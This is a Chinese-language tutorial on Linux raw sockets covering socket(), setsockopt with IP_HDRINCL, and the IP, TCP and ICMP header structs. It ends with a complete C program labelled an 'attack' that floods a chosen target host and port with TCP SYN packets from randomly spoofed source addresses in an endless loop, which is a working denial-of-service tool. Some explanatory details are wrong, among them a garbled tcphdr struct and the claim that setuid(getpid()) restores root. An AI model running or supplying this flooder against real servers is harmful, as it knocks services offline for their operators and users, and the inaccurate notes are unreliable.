原始套接字编程
struct socket {socket_state state;unsigned long flags;const struct proto_ops *ops;//指定当前socket是什么协议struct fasync_struct *fasync_list;struct file *file;struct sock *sk;wait_queue_head_t wait;short type;};const struct proto_ops;结构体是一个函数集合,指定当前 套接字 链接 绑定 等等的操作函数
socket() 创建套接字函数
int socket(int domain, int type, int protocol);
- 头文件:#include
- domain: IP 地址类型 ,
AF_INETAF_INET6 - type: 为数据传输方式,
SOCK_STREAMSOCK_DGRAM - protocol :传输协议 0 表示默认
SOCK_RAW原始套接字
如果 type 参数填 SOCK_STREAM protocol 默认为IP通信协议如果 type 参数填 SOCK_RAW 表示原始套接字 protocol 则可以自己设置协议
protocol : 协议类型有
enum {IPPROTO_IP = 0, //Dummy protocol for TCPIPPROTO_ICMP = 1, //Internet Control Message ProtocolIPPROTO_IGMP = 2, //Internet Group Management ProtocolIPPROTO_IPIP = 4, /* IPIP tunnels (older KA9Q tunnels use 94) */IPPROTO_TCP = 6, //Transmission Control ProtocolIPPROTO_EGP = 8, //Exterior Gateway ProtocolIPPROTO_PUP = 12, /* PUP protocol */IPPROTO_UDP = 17, /* User Datagram Protocol */IPPROTO_IDP = 22, //XNS IDP protocolIPPROTO_DCCP = 33, /* Datagram Congestion Control Protocol */IPPROTO_RSVP = 46, // RSVP protocolIPPROTO_GRE = 47, /* Cisco GRE tunnels (rfc 1701,1702) */IPPROTO_IPV6 = 41, //IPv6-in-IPv4 tunnellingIPPROTO_ESP = 50, /* Encapsulation Security Payload protocol */IPPROTO_AH = 51, //Authentication Header protocolIPPROTO_BEETPH = 94, /* IP option pseudo header for BEET */IPPROTO_PIM = 103, /* Protocol Independent Multicast */IPPROTO_COMP = 108, //Compression Header protocolIPPROTO_SCTP = 132, //Stream Control Transport ProtocolIPPROTO_UDPLITE = 136, //UDP-Lite (RFC 3828)IPPROTO_RAW = 255, // Raw IP packetsIPPROTO_MAX};
设置原始套接字还是需要使用 setsocketopt() 函数来设置
setsockopt() 设置选择值
**int setsockopt(int sock, int level, int optname, const void optval, socklen_t optlen);
- 头文件 :#include
- sock:将要被设置套接字
- level:套接字接口类型(章节)
- optname:设置的章中的哪一个节
- optval: 指向包含新选项值的缓冲
- optlen:缓冲 长度
- 返回值:成功为0
失败 -1
而 要实现 原始套接字类型 自己定义socke信息就需要把
- level = IPPROTO_IP
- optname = IP_HDRINCL
只要开启这两选项 就可以自己修改 socke
struct ip ip协议结构体
ip协议结构体
- 头文件: #include
struct ip{unsigned int ip_v:4; //版本unsigned int ip_hl:4; //头长度uint8_t ip_tos; //服务类型unsigned short ip_len; //总长度 htons()unsigned short ip_id; //标识unsigned short ip_off; //片段偏移字段uint8_t ip_ttl; //生存时间uint8_t ip_p; //协议unsigned short ip_sum; //校验和struct in_addr ip_src, ip_dst;//源地址和目标地址};
struct tcp tcp协议结构体
- 头文件:#include
struct tcphdr {__be16 source; //源端口__be16 dest; //目的端口__be32 seq; //只要填 random() pid号__u16 res1:4,doff:4,fin:1,syn:1,rst:1,psh:1,ack:1,urg:1,ece:1,cwr:1;__be16 doff; // 5-10随便填__be32 ack_seq; //指定的是下一个期望接收的字节__be16 window; //是16位滑动窗口的大小,单位为字节__sum16 check; //是检验和,覆盖了整个的TCP报文段__be16 urg_ptr; //这个域被用来指示紧急数据在当前数据段中的位置}
ICMP协议
ICMP协议包括 Ping 协议,OSPF协议
traceroute 协议 是路径探测协议
getprotobyname() 返回协议序号
忘记了协议的宏定义 可以使用这个函数来返回 宏定义的值
- 参数1:输入协议名
- 返回值:int
int protoclo = getprotobyname("icmp");socket(AF_INET,SOCK_RAW,protoclo);// protoclo == IPPROTO_ICMP
struct icmphdr
- 头文件:#include
- socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);
struct icmp{uint8_t icmp_type; //消息类型uint8_t icmp_code; //类型子代码uint16_t icmp_cksum; //一个补充结构的校验和 check_sum()uint16_t icd_id; //当前程序PIDuint16_t icd_seq; //序号 发送的第几个包unsigned long i_timestamp;//当前时间icmp_data;//数据段};
uint8_t icmp_type; //消息类型有
| 宏定义 | 值 | 含义 |
|---|---|---|
| ICMP_ECHOREPLY | 0 | 回送应答 |
| ICMP_DEST_UNREACH | 3 | 目标不可达 |
| ICMP_SOURCE_QUENCH | 4 | 原点抑制 |
| ICMP_REDIRECT | 5 | 重定向/改变路由 |
| ICMP_ECHO | 8 | 回送请求 |
| ICMP_NET_ANO | 9 | 路由器公告 |
| ICMP_HOST_ANO | 10 | 路由器请求 |
| ICMP_NET_UNR_TOS | 11 | 超时 |
| ICMP_ADDRESS | 17 | 地址子网请求 |
| ICMP_ADDRESSREPLY | 18 | 地址子网应答 |
struct timeval
struct timeval{__time_t tv_sec; /* Seconds. */__suseconds_t tv_usec; /* Microseconds. */};
给重新设置ROOT权限
setuid(getpid());
syn 包发送 / DNS攻击模型
#include <stdlib.h>#include <stdio.h>#include <errno.h>#include <string.h>#include <unistd.h>#include <netdb.h>#include <sys/socket.h>#include <sys/types.h>#include <netinet/in.h>#include <netinet/ip.h>#include <arpa/inet.h>#include <linux/tcp.h>//我们自己写的攻击函数void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);//如果什么都让内核做,那岂不是忒不爽了,咱也试着计算一下校验和。unsigned short check_sum(unsigned short *addr,int len);int main(int argc,char** argv){// args[1] 目标地址 args[2] 目标端口 args[3] 本地端口int skfd;struct sockaddr_in target;struct hostent *host;const int on=1;unsigned short srcport;if(argc!=4){printf("Usage:%s target dstport srcport\n",argv[0]);exit(1);}//DNS协议解析bzero(&target,sizeof(struct sockaddr_in));target.sin_family=AF_INET;target.sin_port=htons(atoi(argv[2]));if(inet_aton(argv[1],&target.sin_addr)==0){host=gethostbyname(argv[1]);if(host==NULL){printf("TargetName Error:%s\n",hstrerror(h_errno));exit(1);}target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);}//将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){perror("Create Error");exit(1);}//用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){perror("IP_HDRINCL failed");exit(1);}//因为只有root用户才可以play with raw socket :)setuid(getpid());srcport = atoi(argv[3]);attack(skfd,&target,srcport);}//在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){char buf[128]={0};struct ip *ip;struct tcphdr *tcp;int ip_len;//在我们TCP的报文中Data没有字段,所以整个IP报文的长度ip_len = sizeof(struct ip)+sizeof(struct tcphdr);/* 此是IP头长度 此是tcpt头长度 *///开始填充IP首部ip=(struct ip*)buf;ip->ip_v = IPVERSION; // IP版本号ip->ip_hl = sizeof(struct ip)>>2; // TCP ip 长度/* IP长度计算方法,IP头的长度除4取整,也就是右移两位*/ip->ip_tos = 0; //ip->ip_len = htons(ip_len); // 整个数据包的长度ip->ip_id=0;ip->ip_off=0;ip->ip_ttl=MAXTTL;ip->ip_p=IPPROTO_TCP; // ip协议ip->ip_sum=0;ip->ip_dst=target->sin_addr; //目的 IP//开始填充TCP首部tcp = (struct tcphdr*)(buf+sizeof(struct ip));tcp->source = htons(srcport); //源端口tcp->dest = target->sin_port; //目的端口tcp->seq = random(); //只要填 random()tcp->doff = 5;tcp->syn = 1; // 根据协议来设置tcp->check = 0;while(1){//源地址伪造,我们随便任意生成个地址,让服务器一直等待下去ip->ip_src.s_addr = random();tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));}}// 此计算 check 的算法固定unsigned short check_sum(unsigned short *addr,int len){register int nleft=len;register int sum=0;register short *w=addr;short answer=0;while(nleft>1){sum+=*w++;nleft-=2;}if(nleft==1){*(unsigned char *)(&answer)=*(unsigned char *)w;sum+=answer;}sum=(sum>>16)+(sum&0xffff);sum+=(sum>>16);answer=~sum;return(answer);}
